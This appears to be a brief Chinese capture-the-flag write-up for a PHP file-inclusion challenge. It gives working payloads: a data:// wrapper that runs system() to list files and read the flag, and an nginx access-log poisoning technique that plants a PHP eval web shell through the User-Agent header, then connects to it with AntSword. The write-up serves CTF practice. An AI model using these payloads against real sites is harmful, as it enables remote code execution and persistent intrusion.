Get传入一个url值,根据关键字include可以确定是文件包含。因为是简单类,无过虑。这里有多种解法。
第一种,利用php伪协议data来构造请求体,在php伪协议data部分可以通过{data://text/plain,<?php system(“ls”);?>}这种形式来构造请求体
接着构造请求体data://text/plain,<?php system(“cat ctf_go_go_go”);?>
第二种方法是通过包含日志文件,使用bp抓包来更改ua头来写入shell文件url=/var/log/nginx/access.log来包含日志文件
在UA头后写入shell文件<?php @eval($_POST[a]);?>
再使用蚁剑连接